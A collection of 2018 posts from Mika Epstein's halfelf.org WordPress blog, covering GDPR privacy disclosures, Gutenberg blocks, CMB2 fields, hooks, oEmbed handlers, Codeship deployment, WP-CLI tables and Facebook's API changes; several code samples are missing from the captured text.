- Know what your CMS tool tracks
- Have a privacy policy
- Have a way for people to request data deletion
The first two are surprisingly complicated because, in the case of WordPress, you might be tracking a lot more than you think. Remember all those things I mentioned above? They all are *common* situations where your CMS might be tracking people. But what if I told you that a lot of plugins you use also add on tracking? Or record more data than WordPress knows about?
Like. I wrote a plugin that adds in the IP address used to register an account to the user meta. This means WordPress now records more data. Thankfully that gets deleted when you delete a user account, and it’s generally covered under the broad disclosure that you track users IPs (which every website does). But I have to make sure people who use the plugin know that, and communicate to others.
That’s a very simple example. Take a plugin that logs user activity for, oh, let’s say security. Now you have to tell everyone about exactly what it tracks (browser information etc) and what you use it for. And you get to figure that out for every single plugin you use.
This won’t be easy. Unless you read every single plugin you use, you’re going to be at the behest of developers who may not be aware of exactly what they need to disclose.
## Privacy Policies Are a Must
Every site should have a privacy policy. While for most smaller blogs, the odds are low that anything will happen, you should have one anyway. The problem is that no one can tell you exactly what yours needs to have. I try to cover the four basics:
- Terms of Use: all the things you agree to by using this site
- Data Collection: what situations result in my tracking your data, including details on 3rd party services regularly used
- Data Usage: what I do with data and how long I keep it – also how to request it
- Policy Changes: a CYA that they’ll likely change
There are a lot of details in those four sections, especially the Terms, which exculpate me if I get information wrong, allow me time to handle a DMCA, and a whole lot of things. And yes, it’s super daunting, I know. I mean, the privacy policy here isn’t half as robust as some of my other sites.
## The Bottom Line
You can distill all this into consent and awareness. People need to know what they’re getting into on your site (or at least be able to know – you can’t help people who refuse to read). And you need to understand exactly what your site does. You need to be aware, as a website owner and a user.
All those terms you ignored when signing up for Google Adsense and Analytics? Now is the time to knuckle down and read, because you need to cover that. All those extensions (plugins and themes) you added? Read up on them too. If they don’t explain what they do with data, ask the developers.
Developers? Step up. Document exactly what data you save. If you allow for the saving of different kinds of data, based on what the user picks, explain that. But you have to tell people what’s being saved and how to delete it. Most CMS apps now have tools to hook into to aid deletion, so research.
GDPR kicked in four days ago, but it’s not to late to fix things.
**Categories:** How It Is
**Tags:** essay, gdpr, oped, privacy
---
### [CMB2: Conditional Meta Fields](https://halfelf.org/2018/cmb2-conditional-meta-fields/)
**Published:** May 31, 2018
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Hiding parts of CMB2 fields is necessary to make like less confusing and easier.
**Content:**
Even though Gutenberg is on the rise, and every day gets us closer to using a whole new editor, we still use the ‘classic’ editor and we’re still beholden to it’s space limitations. I have [strong feelings about how to properly utilize space when using CMB2](https://halfelf.org/2017/cmb2-size-matters/), but not included in that specific post is this.
## Fields You Don’t (Always) Need
There are three types of fields for CMB2.
1. Fields you always need to use
2. Fields that are optional
3. Fields that are needed only in specific situations
Most of the time we use option 2. Option 3 is the tricky one, though, since most of the time we end up having things show based on actions. That is, I save a post, and new options show up. When it comes to CMB2, we really don’t want to have to save and then edit and save and edit.
Yuck!
Thankfully this is all possible.
## Practical Example: Affiliates
Today we’re making a box to handle affiliate links. There are three types of links: Amazon, Genric, and ‘Unique.’
The Amazon one will link directly to a signup link and the generic one links to the same thing only on Click Junction. Both of those links will have affiliate details backed in so I don’t have to look them up later. This also means any partners I have on the site don’t need to know all the gory details. Bazinga.
The last one, though ‘Unique’ is tricky. You see, when someone picks that, I want them to be able to put in a specific URL that may be affiliate linking somewhere else. But let’s start out with how it *normally* works.
## Make Your Fields
That’s pretty normal for CMB2 and looks like this:

Normal, but … I want to hide that Link field unless a specific option is selected. Enter *javascript*.
## Hide That Field (Conditionally)
Make a file for your javascript. I’ve called mine `cmb2.js` and put it in the same folder as my file that will enqueue the scripts.
And then call the enqueue, but only when appropriate (because we want to keep the load low):
add\_action( ‘admin\_enqueue\_scripts’, ‘my\_site\_admin\_enqueue\_scripts’ );
function my\_site\_admin\_enqueue\_scripts( ) {
$screen = get\_current\_screen();
if ( ! isset( $screen->post\_type ) || ‘post\_type\_shows’ !== $screen->post\_type ) return;
```
wp_enqueue_script( 'custom-js', plugins_url( '/cmb2.js' , __FILE__ ), array( 'jquery' ) );
```
}
And that works like this:

## A Word of Warning
While all this is great for the sighted people, hiding things is *not* actually all that great for those who use screen-readers. For that you’d want to toggle the field to be disabled.
**Categories:** How To
**Tags:** cmb2, javascript, wordpress
---
### [Facebook to Automation: Nuts](https://halfelf.org/2018/facebook-to-automation-nuts/)
**Published:** May 1, 2018
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Facebook will be removing the ability to post automatically ... awesome. Nothing will go wrong.
**Content:**
Massive hat tip to [Amanda Rush](http://www.arush.io/?p=92209) for pointing this out to me.
Facebook is dropping support for apps to publish. I quote their [recent post on policy updates](https://developers.facebook.com/blog/post/2018/04/24/new-facebook-platform-product-changes-policy-updates/):
> The `publish_actions` permission will be deprecated. This permission granted apps access to publish posts to Facebook as the logged in user. Apps created from today onwards will not have access to this permission. Apps created before today that have been previously approved to request `publish_actions` can continue to do so until August 1, 2018. No further apps will be approved to use `publish_actions` via [app review](https://developers.facebook.com/docs/apps/review). Developers currently utilizing `publish_actions` are encouraged to switch to Facebook’s Share dialogs for [web](https://developers.facebook.com/docs/sharing/reference/share-dialog), [iOS](https://developers.facebook.com/docs/sharing/ios) and [Android](https://developers.facebook.com/docs/sharing/android).
## What is a Publish Action?
Facebook uses actions to do ‘things’ within Facebook itself. A publish action is, logically, an action that triggers a publish of a post. When you create a Facebook app, you grant it special permissions to do specific actions, in order to prevent people from posting to your Facebook feed when they shouldn’t. If you’ve ever seen one of those popups like this, Facebook is asking you to *confirm* permissions:
Most common are things that read content, like your posts and your friends, and so on. A `publish_action` would be like having your WordPress site automatically make a post on Facebook when you publish a post on your blog.
## Why Are They Doing This?
The argument is that Facebook is maturing and “taking user privacy seriously” because the majority of people never read what permissions they’re granting, or who they’re going to be spamming with the cross posts. The reality? They’re locking down Facebook so if you want to get traffic from Facebook and your articles, you have to *manually* post them.
Now. I hate artificial (and real) monopolies as much as the next nerd, and I do think this is a really cretinous move. But at the same time, by preventing auto-posting, they actually now have a way to combat fake news.
If you watch *The Good Fight*, then you may have seen an episode where a bot script auto-generated posts, purporting to be someone, using fake news sites that people spun up. In season one, that was used to discredit Maia on Twitter. In season two, they took it to Facebook and demonstrated how the fake news sites could be used to target jurors and ensure they got the news.
Seriously everyone needs to watch *The Good Fight*. They’re brilliant.
But the point is this, by restricting people from auto-posting, then someone has to log in and make connections and it’s much easier to track behaviour. Facebook can block a VPN, but they can’t block Amazon AWS servers, after all. And those auto-posts are going to show as coming from your server, not your personal account.
## Do I Need to Care?
Do you use Jetpack’s Publicize to post to your personal account? Then yes. Maybe. I don’t actually know what Jetpack’s going to do about this. My contact (i.e. my friend) just said they were on it, but I imagine there’s a lot of cursing in the background.
Now, notice how I said *personal* account? And *maybe*?
I noticed that Buffer, an app that auto-posts tweets and Facebook posts, said they’d be fine. On the other hand, Bridgely said they’re [killing off their Facebook publish](https://brid.gy/about#facebook-publish) because of this. And on Facebook’s documentation for the APIs, the post to personal timelines information is gone, but the post to *pages* is still there.
Which means I have no idea how horrible this will be. An incomplete block means spammers and fake reporters will move to posting to pages, which many users can post to. I can’t see how that will move the needle very far at all.
Overall, I hate this **and** I think it’s a good thing.
**Categories:** How It Is
**Tags:** facebook
---
### [It's Just Math](https://halfelf.org/2018/its-just-math/)
**Published:** May 17, 2018
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Understanding a little more about hooks explains how I run simple math on post saves.
**Content:**
Recently I posted about how I added new features to a show scoring system, over on LezWatchTV. We added in what we call [Intersectionality](https://lezwatchtv.com/2018/introducing-intersectionality/), which is rewarding shows for *positive* representation of diversity in the world. Naturally that begs the question of what is show scoring (answer: it’s calculative a qualitative value of how good a TV show on a scale of 0-100). And *that* makes people ask …
How do you do that?
## It’s really math
Look, the bare answer to all of this is that it’s math. I’m taking the meta data we assign to shows, like how much screen time characters get and how good the show is for them, and so on, and assigning numbers to those values. Then I add up the numbers, in various ways, and determine what the over all score is.
It’s a little more complex than that, and if you’re super interested in how it all works, we wrote up an explanation as to [the framework I created to value shows](https://lezwatchtv.com/about/scoring-queer-shows/).
But most people who ask me how I did this aren’t asking about the math, they want to know about the code. That is, how did I get WordPress to automate all this, because you *know* I don’t do it all by hand. No, I do it when the post saves.
## Magical Hooks
Let’s take a moment. What’s a hook anyway?
A hook is an action or a filter in WordPress, which allows you to write code that ‘hooks’ into the rest of WordPress code. You can use this to trigger your code to run at specific times.
For example, if I had a hook called `publish_post` (which we do – WordPress has that built in), and I wanted to run my show calculations when I publish a post, I would do this:
```
add_action ( 'publish_post', 'shows_calculations' );
```
That would of course require me to have a function called `show_calculations()` that does the math, which is fine. But. I don’t want to do this on post publish. I want to do it on post save, and *only* if the post is of the shows post type. And that sounds like a lot of if/then statements until you learn about *dynamic* hooks.
You see, I’m using the `save_post_` hook, which runs when a post is saved, and it’s a little special. Unlike a hook like `publish_post()`, this hook lets me customize it how I want by being `save_post_{$post->post_type}` …
Yeah those curly brackets are weird, right? That’s the dynamic part. That part changes.
## Dynamic Saving
To understand how the hook name changes, you should know that in my case, I have a post type called `post_type_shows` — logical right? Well the subsequent hook is called `save_post_post_type_shows` — that is, I’ve *replaced* those weird brackets with the post type.
Once you know your new hook name, it’s like every other hook:
```
add_action( 'save_post_post_type_shows', 'shows_calculations', 10, 3 );
```
What that does is call the function `post_type_shows_calculations` on every post save. And that function calls another one I called `do_the_math()` which passes the post ID to the myriad complications of calculations I perform.
But the magic literally is in that post save hook.
**Categories:** How To
**Tags:** actions, hooks, wordpress
---
### [NoEmbed: Embedding What's Not oEmbed](https://halfelf.org/2018/noembed-embedding-whats-not-oembed/)
**Published:** May 15, 2018
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Instead of a shortcode, how about a URL?
**Content:**
We all love oEmbed with WordPress. Want to include a YouTube video? Paste in the URL and call it a day!
The magic is that WordPress sends data to the YouTube oembed endpoint (i.e. a special app on YouTube that translates URLs to embed things) and says “Hi, I have this video URL here, what can I use to embed it?” And YouTube replies back “This javascript, my fine friend!” WordPress tips it hat and carries on, swapping the URL out for javascript on the fly.
Awesome.
Except when it doesn’t work because it can’t because there isn’t an oEmbed endpoint.
## What Now?
Usually I [make a shortcode](https://halfelf.org/2017/indiegogo-embed/). But my man Otto always grumbles and tells me to make an embed instead.
The concept of the embed is that we register a ‘fake’ oembed. It’s not an endpoint, it’s just saying “Hey, WordPress. When you see this kind of URL all alone, let’s make magic.”
It’s surprisingly straightforward. All we need to know are two things:
1. What is the URL people are going to paste in?
2. What is the output supposed to look like?
Since we’ve already done this as a shortcode, we’re ready to go.
## Register the Handler
First we have to tell it that we’re making a new handler, called `indiegogo` and this is the kind of URL to expect:
The first part, `indiegogo`, is the name. It should be unique.
The second part, `'#https?://www\.indiegogo\.com/projects/.*#i'` is saying “http OR https” and “as long as the URL starts with `www.indigogo.com/projects`” — it’s ‘basic’ regex.
The last bit, `indiegogo_embed_handler` is the function name we’re going to need.
## Write the Embed Function
This is *very* similar to the shortcode. We take the data, make sure it’s formatted correctly, and output the (in this case) iFrame:
I’ve left the filters in place in case I decide I want to do more weird things to it, without having to edit the core part of my code.
## A GutenGotcha
For some reason, this doesn’t work in Gutenberg, and it tells me it cannot embed the content. Except when you visit the page, everything is embedded perfectly.
**Categories:** How To
**Tags:** coding, embed, wordpress
---
### [A Slightly More Complex Sample Box: Spoilers](https://halfelf.org/2018/slightly-complex-sample-box-spoilers/)
**Published:** May 10, 2018
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Making a very simple Gutenberg block that is editable isn't impossible, and is very much like a shortcode.
**Content:**
Round two!
Once I [made a simple, sample spoiler box](https://halfelf.org/2018/a-sample-block-spoilers/), it was time to jump into the next stage. Customizable, editable, not simple, sample spoiler boxes!
Here’s the best part. All I had to change was the `index.js` file from the previous example.
## The Javascript
## What’s Different?
A few things. A lot of things. The idea is that we need to pass the content attribute (i.e. our warning) to be processed. This is very much like how you pass attributes through shortcodes, so don’t panic.
This says “Set the content to ‘Warning: This post contains spoilers!’ if there’s nothing there. Then watch the focus. If the focus changes, use the new content to replace the original content.”
Down in our `return el` section, we’ve changed it to be Rich Text (so people can use bold and so on… even though it’s always bold), and the `value: content,` is the variable content we edited above.
## What’s It Like?
It’s just like any other Block. It inserts itself when you click the icon, it loads the default, and you can edit it:

And that is a simple, editable, Gutenberg Block
**Categories:** How To
**Tags:** gutenberg, wordpress
---
### [A Sample Block: Spoilers](https://halfelf.org/2018/a-sample-block-spoilers/)
**Published:** May 8, 2018
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** A simple block for Gutenberg. No frills. Well. One frill.
**Content:**
Before I jump into this, I have to say .. this post was *not* written in Gutenberg.
Sadly the plugin I use for code display, when I need it to be colored and easy to read, isn’t *yet* Gutenberg friendly. And, worse IMO, there’s a bug that causes [multiline shortcodes to be smashed into one line](https://github.com/WordPress/gutenberg/issues/4456), which makes a code block unusable. My two fixes are either the plugin I use be updated (which is beyond my skills at the moment) or I find a new plugin (looking). Or I wait.
Anyway.
Let’s make a simple block that you *can’t* edit!
## There are Four Files Needed
1. `spoilers.php` – This is the main PHP file
2. `spoilers/index.js` – This is the code
3. `spoilers/editor.css` – This formats what you see on the editor
4. `spoilers/style.css` – This formats what you see on the front end
The last two aren’t *required* but I use them to make things pretty.
## The PHP
The PHP file will need to be included in your code however you want to do it. I have a file called `_blocks.php` which includes all my Gutenblocks. In turn, it is included in my plugin’s main file.
## The JS
Here’s the weird stuff. And I’m going to be honest here … I don’t understand all of this yet. But I picked this very simple example because it lets you see what’s going on in a concrete way.
## The CSS
There are two CSS files.
**editor.css**
**style.css**
Back in the js there was a bit that looked like this: `{ className: props.className },`
That’s what tells it to use these. In addition, I use this to call some theme specific code: `{ className: 'alert alert-danger'},`
## The Output
On the editor, I see this:

I included the block icon so you could see the little vault I used to indicate the block.
On the front end, everyone sees this:

## What’s Next?
Making it editable, of course!
**Categories:** How To
**Tags:** code, gutenberg, wordpress
---
### [When You Need Blocks](https://halfelf.org/2018/when-you-need-blocks/)
**Published:** May 3, 2018
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Getting started with Gutenberg takes a little effort but it's working just fine.
**Content:**
There are a lot of cases where you don’t need a custom block. My spoiler block [(from last week)](https://halfelf.org/2018/you-dont-need-a-block/) is a great example of that:
But. What about when you want to have that spoiler have choices? Now you’re outside the shared content block territory and into the confusing land of Gutenberg plugins.
## Blocks Are Not Simple
I’m the sort of person who abhors boilerplate plugins. I just do. I feel that they divorce you from understanding what the code is and does, and how it all plays together. The more you rely on them, the less you can debug when it goes sideways. Oh, and it will. It always does.
But. Gutenberg requires a lot more Javascript than I happen to be good at. Or rather, it requires *new* Javascript. Which is why I did exactly what I did the first time I ever made any plugin. I went and found one that did *mostly* what I wanted, and I edited it.
Whaaaaat?
It’s true. And I want everyone to take a moment and realize this is a perfectly normal, okay, thing! In fact, I would like to see Hello Dolly converted to include a Gutenblock because learning by example is a valid, tried and true, way to teach someone how things come together.
## What Examples Are Good?
Okay so where is a good place to start?
- [Modular WP: How to Build Custom Gutenberg Blocks](https://modularwp.com/how-to-build-gutenberg-blocks/)
- [Pantheon: Converting a Shortcode to a Gutenberg Block](https://pantheon.io/blog/how-convert-shortcode-gutenberg-block)
- [WordPress Gutenberg Examples](https://wordpress.org/gutenberg/handbook/blocks/)
- [WP-CLI Scaffold Block Command](https://github.com/wp-cli/scaffold-command#wp-scaffold-block)
That’s enough to get you started, I think. I went with WP-CLI since I like it and I’m used to it. Of course, it came with a small problem. In order to make a block via wp-cli, you *have* to put the code in a plugin (or a theme). Well fine. I did that to scaffold it and then I moved it to where I was developing. Most people aren’t so particular.
## Is It Hard?
Not really. Once you get used to editing the js file instead of PHP, it’s just like hacking any other plugin. Start with the simple thing. Make a block that just does one thing and isn’t editable. My one tip is that when you call your blocks, make sure to wrap it in a check if the function exists:
```
if ( function_exists( 'register_block_type' ) ) {
include_once( dirname( __FILE__ ) . '/spoilers.php' );
}
```
Otherwise there’s a chance that a non-Gutensite will die on you.
Good luck and happy Gutenberging!
**Categories:** How To
**Tags:** gutenberg, wordpress
---
### [You Don't Need a Block](https://halfelf.org/2018/you-dont-need-a-block/)
**Published:** April 26, 2018
**Author:** Ipstenu (Mika Epstein)
**Content:**
Like a great many people, I recognize the need to learn the new world with Gutenberg and adapt my code as well as my writing to the platform. But, like a great many people, I recognized my coding ability might not *quite* be up to snuff with the javascript required for blocks.
But then I asked myself something important. And you should ask yourself this, before you lament about how much work you have ahead.
Do I **need** a new block?
## What’s a Block Anyway?
The concept of ‘block’ writing is one people who use Scrivner may be familiar with. Or maybe if you’ve ever been a part of a writer’s room, breaking down a season of a TV show. The idea is that each index card is it’s own entity.’ Or rather, in the case of WordPress, each paragraph is it’s own entity.
This means you can move the paragraphs around, which for paragraphs makes little sense. But for layout? Oh it makes a great deal more sense. A block is, literally, a block you move around until your page looks the way you want it to. Awesome.
## Why Don’t We Need Them?
Actually the question should be **when** don’t we need them? Obviously we need blocks. That won’t change. But by default WordPress has quite a number of blocks out of the … block. And that begs the question of when and why do we need to make *new* ones?
This is a question many developers who have shortcode plugins will be asking themselves, and the realization I stumbled across at WordCamp San Diego is that … a lot of developers don’t need to make new blocks! Because a lot of shortcodes aren’t actually going to be all that necessary in the future.
Let’s use an example of something common…
## Example Shortcode: Spoilers
Let’s say you have a WordPress site and it sometimes talks about spoilers.
Today in WordPress an easy way to put a warning at the top of every page would be with a shortcode that looks like `[spoilers]` or if you’re feeling puckish, `[spoilers warning="OMG SPIDERS!!!"]`
Those would output a simple paragraph that warned people about spoilers.
Right away, I thought “Oh, that would be a nice, easy sort of thing to turn into a block.” It’s just a direct output of some code:
```
' . $warning . '
```
But then I thought …. What if I *don’t*?
## Enter Shared Blocks
Shared Blocks, formerly called reusable blocks, are blocks of content defined by each site, specific to the site, that are .. well .. reusable. You don’t need to know how to code to make them, either. Which means you don’t need a developer to do this. Start by just making a new block with the content:
**Warning:** This post contains spoilers!
That’s easy. But what we want is to apply color to it. And that can be done in a number of ways. The easiest would be to use the advanced section in the block editor and add an additional CSS Class of, in this case, alerts.
But that isn’t the only way…. Because I can also make this:
Whaaat? Total game changer!
## Gutenberg Blocks Are Editable
In every single Gutenberg block you can change text and color to suit your needs. I edited that particular block and said I wanted the background to be one color, the next another, and I wanted the size to be Large. I’m aware the large size doesn’t show properly… I also told it how I wanted the block alightment to look:
## Okay, But Reusing?
Don’t worry, I didn’t forget. When you hover over a block there are three vertical icons on the right indicating a menu. Click on the menu and you get options and one is to convert it to a shared block. Click on that, give it the name you want, and you’ve created a block!
 The share icon in the lower right is how you know.
And now, when you go to enter a new block, you click on the plus button on the left, click on ‘Shared,’ and you have this:
## What’s Missing?
Right away you’ll notice you can’t edit the shared block without editing it for everyone. So if you made it “Aaaaaahhh! Spiders!!!!!” everything would change. And that’s not great for everyone. But for a lot of people who just want a simple, repeatable, notice or signature, this is just fine.
It won’t spare you having to convert some of your shortcodes to blocks, but it may make life easier for people who don’t want to have to use them in the first place. And that, I think, is a win.
**Categories:** How To
**Tags:** blocks, gutenberg, wordpress
---
### [AutoDeploy: Github to DreamObjects](https://halfelf.org/2018/autodeploy-github-to-dreamobjects/)
**Published:** April 24, 2018
**Author:** Ipstenu (Mika Epstein)
**Content:**
There are a lot of things that Github makes easy. One of them is a great way to keep versions of data publicly accessible, trackable, and deployable.
Well. Not so much that last one.
Automated deployment with Github can be incredibly convoluted, twisted, and perplexing. If you don’t speak high geek, it’s worse. Thankfully there are services like [Codeship](https://codeship.com) that let you ship code, run tests, and more importantly, run some hefty commands.
When the day came that I wanted to keep some JSON files on Github for version control, but deploy them to the cloud, I knew what to do. I was already doing a version of the process, in reverse, for my [Remoteless SVG](https://halfelf.org/2018/remoteless-svg/) images, after all.
## Create Your Repository
Now I’m using Github, but Codeship supports Bitbucket or Gitlab, so that’s also an option. Once you’ve made your repository, commit your code but *don’t* push anything yet! We have to make a couple decisions first.
First: Branches.
I have two philosophies of this. If I’m working on something like a plugin or a theme or an app that needs versioned releases, I’m going to name my branches `REL_1.2.3` and so on. If, instead, I’m maintaining a theme or plugin for personal use, I have a `development` branch that I use for all normal dev work. I may spin up a special branch for some new feature, but it always goes into that dev branch first.
Second: Deployments.
The reason I use that branch system is that when I push to the dev branch, it pushes code to the dev server.
 Mind? Blown.Once you decide how you want your set up to deploy, and when, you’re ready to Ship That Code.
Gettit? Right…
## Setup Codeship
If you’ve never setup Codeship before, I explain how you do that in my post about [Deploying from Github with Codeship](https://halfelf.org/2017/deploying-github-codeship/). The special sauce here is your Custom Script.
Before you write the script, add in [Environment Variables](https://documentation.codeship.com/basic/builds-and-configuration/set-environment-variables/) for `AWS_ACCESS_KEY_ID` and `AWS_SECRET_ACCESS_KEY` with those names specifically. This way you won’t have to write a mess of custom code.
```
pip install awscli aws s3 --endpoint-url https://objects-us-east-1.dream.io sync ~/clone/ s3://bucket-name/
```
The important bits:
- Endpoint URL is my S3-esque host
- `bucket-name` is my bucket name…
## Push Your Code
Once that’s saved, you can push code and it’ll automatically kick the code to the cloud.
A lot of this is obviously a backwards implementation of code I already described, but sometimes we need something explained in the straightforward way to help us move forward.
Enjoy your deploys!
**Categories:** How To
**Tags:** Codeship, deployment, github
---
### [Posts by Day, Every Year](https://halfelf.org/2018/posts-by-day-every-year/)
**Published:** April 19, 2018
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Get a list of all posts on a day, regardless of the year.
**Content:**
In my previous post I mentioned a site that has a tag for a date. That is, it uses `25-march` (or `march-25`) to tag it’s posts so someone could conceivably find all the posts made on March 25th in every single year.
WordPress makes it easy to list all the posts on a specific date. Just visit `example.com/2018/04/19/` and you’ll see all the posts made on April 19th of this year. Remove the 19 and you get everything from April and so on and so forth.
But you can’t, out of the box, list everything on April 19th from every single year the site’s been up.
## WP\_Query has Dates
As of 3.7, WordPress has a `date_query` aspect to `WP_Query` which lets you do this:
That generates an array of every single post that has the same month and day of today, but does not check the year. If you don’t want all the posts, just the last ten, use `'posts_per_page' => 10,` instead.
Once you have your list of posts, you can use a normal loop to display the content:
**Categories:** How To
**Tags:** coding, wordpress
---
### [Organization](https://halfelf.org/2018/organization/)
**Published:** April 17, 2018
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Understanding tags vs categories vs custom taxonomies vs custom post types, and how they all mesh together.
**Content:**
In September 2005, Lorelle wrote what I consider to be the [definitive piece on tags vs categories](https://lorelle.wordpress.com/2005/09/09/categories-versus-tags-whats-the-difference-and-which-one/). In 12 years, my opinions have not changed and I still feel her explanation is correct. That said, there is room for improvement at scale.
## The Gist
Her advice boils down to this:
- Categories are a table of contents
- Tags are index words
By this we mean that categories are the high-level, big ticket items, and tags are the smaller, more precise terms. This is, I feel, the heart of understanding the two.
Further down, Lorelle states that at around 25 posts, a tag is ‘big enough’ to be a category, and that if a category dominates a blog, it should perhaps be a separate blog. And that’s where I disagree.
## On Beyond Zebra
When she wrote her post, the concept of custom taxonomies was barely a gleam in someone’s eyes. Multisite was still WPMU, and a separate installation. Today we have the ability to add our own taxonomies (either in category or tag styles) and we can create a network of related sites on our own. All we need is a little more technical know-how.
When we add on custom taxonomies, we afford ourselves a new way to classify posts, so to the above I would add this:
- Custom Taxonomies are critical but exceptionally unique index words that must be grouped together
Okay that was long, I know, but a Custom Taxonomy is in essence a new subdivision of your site. You can either make it a new table of contents or a new index … or a combination of the two. It’s a little wild, especially when you factor in custom post types.
## Overwhelming Category? Custom Post Type!
Instead of making a new blog when your category gets too large and unwieldy, I would recommend making a new custom post type. If I use my helpful example of LezWatchTV, we currently have three custom post types: Shows, Actors, and Characters.
While we could have made them into posts, and used categories to index them, having them be their own post type means instead of a table of contents, I’ve made an appendix. This gives me access to all the cool WordPress features, like archives and sorting and organization, but it does so outside the realm of posts which restricts crossovers. Unless you’re really clever with cross-related content.
A custom post type keeps it all on one blog, but separates them like your laundry.
## Too Many Tags? Custom Taxonomy!
If you find yourself having too many tags, it’s time to consider a custom taxonomy. Again, pointing to LezWatchTV, actors have two custom taxonomies: gender identity and sexuality. While those are the same as we use for characters, by having them separate and only applicable to the actor post type, we are able to give a list of all trans female actors with a click. In other words, we’re using WordPress’s native features.
But if we look at the custom post type for TV shows, we have a lot more taxonomies, including two that are constantly being added on to: nations and stations. Every time a new station airs a show, we have to add it in. And there, as of April 1, we end up having 29 nations and 168 TV stations.
Which brings up the next problem, and one that Lorelle does indeed address, but not the way I would.
## When Tags Go Rogue
Can tags still go too large? Yes. Oh my lordy, yes.
Recently I saw a site that used unique tags on every single post. I physically flinched when I realized that.
You see, they had around 30,000 posts and 48,000 tags, and for the life of me I couldn’t understand why until I read the site and looked. For every single post there was a commensurate tag for the post title and the date. After 365 dates they thankfully started to repeat, so you might have 10 posts for the `march-25` tag. Except they weren’t consistent and someone else used `25-march` and now you can see the rabbit hole fall into infinity and beyond.
Now that said, I have 168 tags for TV stations, each TV show has one, maybe two if they’re lucky or weird, and some tags only have 1 show listed. Others, like ABC, NBC, and CBS, have around 60. Do I think any of those are ‘too large’?
I don’t. Because the number of 25 posts to a tag only holds up at a smaller scale. With 100 to 200 posts, yes, that starts to make sense. At 600 to 3000 posts, suddenly having 198 posts tagged with “Bury Your Queers” doesn’t sound so out of place. It’s about the percentages, somewhat, and also the use-case.
If I know people are looking for a smaller tag (say they really want to see the 10 shows that have the ‘Fake Relationship’ tag), then for the purpose of *this* site, it’s important. On the other hand, if only one character was tagged cougar, I might not keep the tag as it’s too small to make the data useful.
## Optimal Organization
There is no magic number of tags to categories to custom post types to taxonomies. It all comes down to understanding the goal of your site, the way users look for data, and what is maintainable to you.
In the case of the site with 48k tags, I would have them delete all the date ones, as well as the ones with the same names as posts, and stick to using topical tags. After all, if a tag is only used once, or duplicates some feature already found in WordPress, it’s perhaps not the best idea.
**Categories:** How It Is
**Tags:** administration, essay, taxonomies
---
### [Shortcode Example: Reviews](https://halfelf.org/2018/shortcode-example-reviews/)
**Published:** April 10, 2018
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** A shortcode for reviewing things in a standard kind of way.
**Content:**
Sometimes people want to have reviews mean ‘people leave reviews on my work.’ But the other kind of reviews are the ones where I review other peoples’ works. And for that, I found it helps to have some kind of standard.
Let’s say I’m reviewing a TV show for overall quality but also overall gayness. That is, I want to be able to write up a post and then, at the bottom, put up a shortcode to say “This show is really good but has no gay characters.” To do that, I made a list of the important factors to distill:
- Name: The name of the TV show
- Summary: A short, 140 character summary of the overall show.
- Queer: A 1-5 rating of how queer the show is
- Rating: A 1-3 scale (yes, meh, no) for how good the show is overall
- Warning: Is there a trigger warning (or CW) to be aware of
The intent is to make it easy for someone to scroll down and find what they want to watch. Right?
## The Code
A bit of warning. There are two specific to my site bits of design in here. First are the icons. While I’ve generalized them for you as Emoji, keep in mind you probably want to have your own style here. Second, I’m using Bootstrap, so I’ve leveraged some of their default code. You’ll want to tweak the CSS.
## The Future
I’m thinking about changing the scores from numbers to stars, and adding in a link if the show has been added to the site. But it being a shortcode, it’s reasonably extensible.
Enjoy, and export to your own review sites.
**Categories:** How To
**Tags:** shortcode, wordpress
---
### [WP-CLI Tables](https://halfelf.org/2018/wp-cli-tables/)
**Published:** April 12, 2018
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Aiding debugging efforts with WP-CLI and table output.
**Content:**
I was working on an update to the Varnish plugin I’ve adopted, and one of the requested features was for more debugging tool. I’d added in a status page, but this plugin is also used by web hosts, and sometimes asking a customer “Can you go to this bad and send me the results?” is a time sink.
So why not add in a command line tool?
## WP-CLI?
I love [WP-CLI](https://make.wordpress.org/cli). It’s a command line interface (CLI) for WordPress (WP) that lets you do most anything via the command line. You can install and activate plugins, update themes, even write posts and add users. But if you’re tech savvy, it’s also a great tool to automate and manage the minutia of WordPress maintenance drudgery.
I’d already built out a basic varnish flush command (`wp varnish purge`) so adding on to it isn’t terribly difficult. But what was difficult was making the output what I wanted.
## Start With an Array
No matter what you need an array of the correct format for this to work. I was already storing everything in an array I save in a variable called `$results` that looks like this:
I was initially doing this so I could loop and output all results with an icon and message on the status page, but translating this to wp-cli was a matter of taking the array and repurposing it.
## WP-CLI Tables
In order to add in a table output to WP-CLI, you use the `format_items` function:
The `$format` value is taken from `$assoc_args['format']` (I set mine to default to table if it’s not defined). The `$items` are your array, and the `$headers` are another array of what your headers are.
This is the tricky part. You have to make sure your array of headers matches your array of items, *and* fulfills the output you desire. In order to do this, start with figuring out what you need to output.
In my case, I wanted a name, a status (aka the icon), and the message. This means my array looks like this: `$headers = array( 'name', 'status', 'message' )`
## Rebuild The Array
Once I sorted out what the format was like, based on the headers, I built the items array as follows:
Remember, my `$results` were already an array. I’m just making it look right here.
## Final Results
How does it look? Like this:
And that is a nice tool for people to debug.
**Categories:** How To
**Tags:** debug, wordpress, wp-cli
---
### [Google Auto Ads](https://halfelf.org/2018/google-auto-ads/)
**Published:** March 22, 2018
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Automagical ads from Google.
**Content:**
After upgrading my theme, I saw a note that I could add my Google Adsense ID, but “Auto Ads must be enabled in your AdSense account for this feature to work properly.”
Auto Ads?
## Auto Ads
[A month ago](https://adsense.googleblog.com/2018/02/introducing-adsense-auto-ads.html) Google introduced a new way to handle ads, and simply that is you don’t have to mess around with placing adds. You put your code in and then you tell Google “Gimme them auto ads!” and they add in … well … ads.
Depending on your options, you can show in-article ads or just section ones, and it comes out looking a bit like this:

## Not Perfect
There are some issues with this.
There are obvious pros to this, and mostly it’s that I don’t have to think about where an ad is going to go. I can tell Google “Show a medium amount of ads where you think is best” and walk away. I don’t have to worry about which ads to use. Also they use Google’s ‘what fits with the content’ magic algorithm.
But.
I can’t exclude certain areas.
